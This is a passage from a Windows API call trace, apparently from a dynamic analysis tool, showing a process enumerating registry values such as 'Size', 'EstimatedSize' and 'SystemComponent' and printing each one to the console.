0x50 [0147.943] _errno () returned 0xc4bb0 [0147.943] GetFileType (hFile=0x50) returned 0x1 [0147.943] lstrlenW (lpString="REG_SZ") returned 6 [0147.943] GetConsoleOutputCP () returned 0x1b5 [0147.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.943] GetConsoleOutputCP () returned 0x1b5 [0147.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.944] __iob_func () returned 0x7fefd702a80 [0147.944] _fileno (_File=0x7fefd702ab0) returned 1 [0147.944] _errno () returned 0xc4bb0 [0147.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.944] _errno () returned 0xc4bb0 [0147.944] GetFileType (hFile=0x50) returned 0x1 [0147.944] lstrlenW (lpString=" ") returned 4 [0147.944] GetConsoleOutputCP () returned 0x1b5 [0147.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.944] GetConsoleOutputCP () returned 0x1b5 [0147.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.944] __iob_func () returned 0x7fefd702a80 [0147.944] _fileno (_File=0x7fefd702ab0) returned 1 [0147.944] _errno () returned 0xc4bb0 [0147.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.944] _errno () returned 0xc4bb0 [0147.944] GetFileType (hFile=0x50) returned 0x1 [0147.944] lstrlenW (lpString="") returned 0 [0147.944] __iob_func () returned 0x7fefd702a80 [0147.944] _fileno (_File=0x7fefd702ab0) returned 1 [0147.944] _errno () returned 0xc4bb0 [0147.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.944] _errno () returned 0xc4bb0 [0147.944] GetFileType (hFile=0x50) returned 0x1 [0147.944] lstrlenW (lpString="\n") returned 1 [0147.945] GetConsoleOutputCP () returned 0x1b5 [0147.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.945] GetConsoleOutputCP () returned 0x1b5 [0147.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.945] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.945] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.945] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.945] GetProcessHeap () returned 0x2e0000 [0147.945] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.945] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.945] __iob_func () returned 0x7fefd702a80 [0147.945] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.945] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.945] _fileno (_File=0x7fefd702ab0) returned 1 [0147.946] _errno () returned 0xc4bb0 [0147.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.946] _errno () returned 0xc4bb0 [0147.946] GetFileType (hFile=0x50) returned 0x1 [0147.946] lstrlenW (lpString=" ") returned 4 [0147.946] GetConsoleOutputCP () returned 0x1b5 [0147.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.946] GetConsoleOutputCP () returned 0x1b5 [0147.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.946] lstrlenW (lpString="Size") returned 4 [0147.946] __iob_func () returned 0x7fefd702a80 [0147.946] _fileno (_File=0x7fefd702ab0) returned 1 [0147.946] _errno () returned 0xc4bb0 [0147.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.946] _errno () returned 0xc4bb0 [0147.946] GetFileType (hFile=0x50) returned 0x1 [0147.946] lstrlenW (lpString="Size") returned 4 [0147.946] GetConsoleOutputCP () returned 0x1b5 [0147.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.946] GetConsoleOutputCP () returned 0x1b5 [0147.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.947] __iob_func () returned 0x7fefd702a80 [0147.947] _fileno (_File=0x7fefd702ab0) returned 1 [0147.947] _errno () returned 0xc4bb0 [0147.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.947] _errno () returned 0xc4bb0 [0147.947] GetFileType (hFile=0x50) returned 0x1 [0147.947] lstrlenW (lpString=" ") returned 4 [0147.947] GetConsoleOutputCP () returned 0x1b5 [0147.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.947] GetConsoleOutputCP () returned 0x1b5 [0147.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.947] __iob_func () returned 0x7fefd702a80 [0147.947] _fileno (_File=0x7fefd702ab0) returned 1 [0147.947] _errno () returned 0xc4bb0 [0147.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.947] _errno () returned 0xc4bb0 [0147.947] GetFileType (hFile=0x50) returned 0x1 [0147.947] lstrlenW (lpString="REG_SZ") returned 6 [0147.947] GetConsoleOutputCP () returned 0x1b5 [0147.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.948] GetConsoleOutputCP () returned 0x1b5 [0147.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.948] __iob_func () returned 0x7fefd702a80 [0147.948] _fileno (_File=0x7fefd702ab0) returned 1 [0147.948] _errno () returned 0xc4bb0 [0147.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.948] _errno () returned 0xc4bb0 [0147.948] GetFileType (hFile=0x50) returned 0x1 [0147.948] lstrlenW (lpString=" ") returned 4 [0147.948] GetConsoleOutputCP () returned 0x1b5 [0147.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.948] GetConsoleOutputCP () returned 0x1b5 [0147.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.948] __iob_func () returned 0x7fefd702a80 [0147.948] _fileno (_File=0x7fefd702ab0) returned 1 [0147.948] _errno () returned 0xc4bb0 [0147.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.948] _errno () returned 0xc4bb0 [0147.949] GetFileType (hFile=0x50) returned 0x1 [0147.949] lstrlenW (lpString="") returned 0 [0147.949] __iob_func () returned 0x7fefd702a80 [0147.949] _fileno (_File=0x7fefd702ab0) returned 1 [0147.949] _errno () returned 0xc4bb0 [0147.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.949] _errno () returned 0xc4bb0 [0147.949] GetFileType (hFile=0x50) returned 0x1 [0147.949] lstrlenW (lpString="\n") returned 1 [0147.949] GetConsoleOutputCP () returned 0x1b5 [0147.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.949] GetConsoleOutputCP () returned 0x1b5 [0147.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.949] GetProcessHeap () returned 0x2e0000 [0147.949] GetProcessHeap () returned 0x2e0000 [0147.949] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.949] GetProcessHeap () returned 0x2e0000 [0147.949] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.949] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.949] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.949] GetProcessHeap () returned 0x2e0000 [0147.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.950] GetProcessHeap () returned 0x2e0000 [0147.950] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.950] GetProcessHeap () returned 0x2e0000 [0147.950] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.950] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x2e08, pcbData=0x23f670*=0x4) returned 0x0 [0147.950] __iob_func () returned 0x7fefd702a80 [0147.950] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.950] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.950] _fileno (_File=0x7fefd702ab0) returned 1 [0147.950] _errno () returned 0xc4bb0 [0147.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.950] _errno () returned 0xc4bb0 [0147.950] GetFileType (hFile=0x50) returned 0x1 [0147.950] lstrlenW (lpString=" ") returned 4 [0147.950] GetConsoleOutputCP () returned 0x1b5 [0147.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.950] GetConsoleOutputCP () returned 0x1b5 [0147.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.950] lstrlenW (lpString="EstimatedSize") returned 13 [0147.950] __iob_func () returned 0x7fefd702a80 [0147.950] _fileno (_File=0x7fefd702ab0) returned 1 [0147.950] _errno () returned 0xc4bb0 [0147.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.950] _errno () returned 0xc4bb0 [0147.950] GetFileType (hFile=0x50) returned 0x1 [0147.950] lstrlenW (lpString="EstimatedSize") returned 13 [0147.951] GetConsoleOutputCP () returned 0x1b5 [0147.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.951] GetConsoleOutputCP () returned 0x1b5 [0147.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.951] __iob_func () returned 0x7fefd702a80 [0147.951] _fileno (_File=0x7fefd702ab0) returned 1 [0147.951] _errno () returned 0xc4bb0 [0147.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.951] _errno () returned 0xc4bb0 [0147.951] GetFileType (hFile=0x50) returned 0x1 [0147.951] lstrlenW (lpString=" ") returned 4 [0147.951] GetConsoleOutputCP () returned 0x1b5 [0147.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.951] GetConsoleOutputCP () returned 0x1b5 [0147.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.952] __iob_func () returned 0x7fefd702a80 [0147.952] _fileno (_File=0x7fefd702ab0) returned 1 [0147.952] _errno () returned 0xc4bb0 [0147.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.952] _errno () returned 0xc4bb0 [0147.952] GetFileType (hFile=0x50) returned 0x1 [0147.952] lstrlenW (lpString="REG_DWORD") returned 9 [0147.952] GetConsoleOutputCP () returned 0x1b5 [0147.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.952] GetConsoleOutputCP () returned 0x1b5 [0147.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.952] __iob_func () returned 0x7fefd702a80 [0147.952] _fileno (_File=0x7fefd702ab0) returned 1 [0147.952] _errno () returned 0xc4bb0 [0147.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.952] _errno () returned 0xc4bb0 [0147.952] GetFileType (hFile=0x50) returned 0x1 [0147.952] lstrlenW (lpString=" ") returned 4 [0147.952] GetConsoleOutputCP () returned 0x1b5 [0147.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.952] GetConsoleOutputCP () returned 0x1b5 [0147.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.953] __iob_func () returned 0x7fefd702a80 [0147.953] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.953] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x2e08") returned 6 [0147.953] _fileno (_File=0x7fefd702ab0) returned 1 [0147.953] _errno () returned 0xc4bb0 [0147.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.953] _errno () returned 0xc4bb0 [0147.953] GetFileType (hFile=0x50) returned 0x1 [0147.953] lstrlenW (lpString="0x2e08") returned 6 [0147.953] GetConsoleOutputCP () returned 0x1b5 [0147.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2e08", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.953] GetConsoleOutputCP () returned 0x1b5 [0147.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2e08", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2e08", lpUsedDefaultChar=0x0) returned 6 [0147.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.953] __iob_func () returned 0x7fefd702a80 [0147.953] _fileno (_File=0x7fefd702ab0) returned 1 [0147.953] _errno () returned 0xc4bb0 [0147.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.953] _errno () returned 0xc4bb0 [0147.953] GetFileType (hFile=0x50) returned 0x1 [0147.954] lstrlenW (lpString="\n") returned 1 [0147.954] GetConsoleOutputCP () returned 0x1b5 [0147.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.954] GetConsoleOutputCP () returned 0x1b5 [0147.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.954] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.954] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.954] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.954] GetProcessHeap () returned 0x2e0000 [0147.954] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.954] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.954] __iob_func () returned 0x7fefd702a80 [0147.954] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.954] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.955] _fileno (_File=0x7fefd702ab0) returned 1 [0147.955] _errno () returned 0xc4bb0 [0147.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.955] _errno () returned 0xc4bb0 [0147.955] GetFileType (hFile=0x50) returned 0x1 [0147.955] lstrlenW (lpString=" ") returned 4 [0147.955] GetConsoleOutputCP () returned 0x1b5 [0147.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.955] GetConsoleOutputCP () returned 0x1b5 [0147.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.955] lstrlenW (lpString="SystemComponent") returned 15 [0147.955] __iob_func () returned 0x7fefd702a80 [0147.955] _fileno (_File=0x7fefd702ab0) returned 1 [0147.955] _errno () returned 0xc4bb0 [0147.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.955] _errno () returned 0xc4bb0 [0147.955] GetFileType (hFile=0x50) returned 0x1 [0147.955] lstrlenW 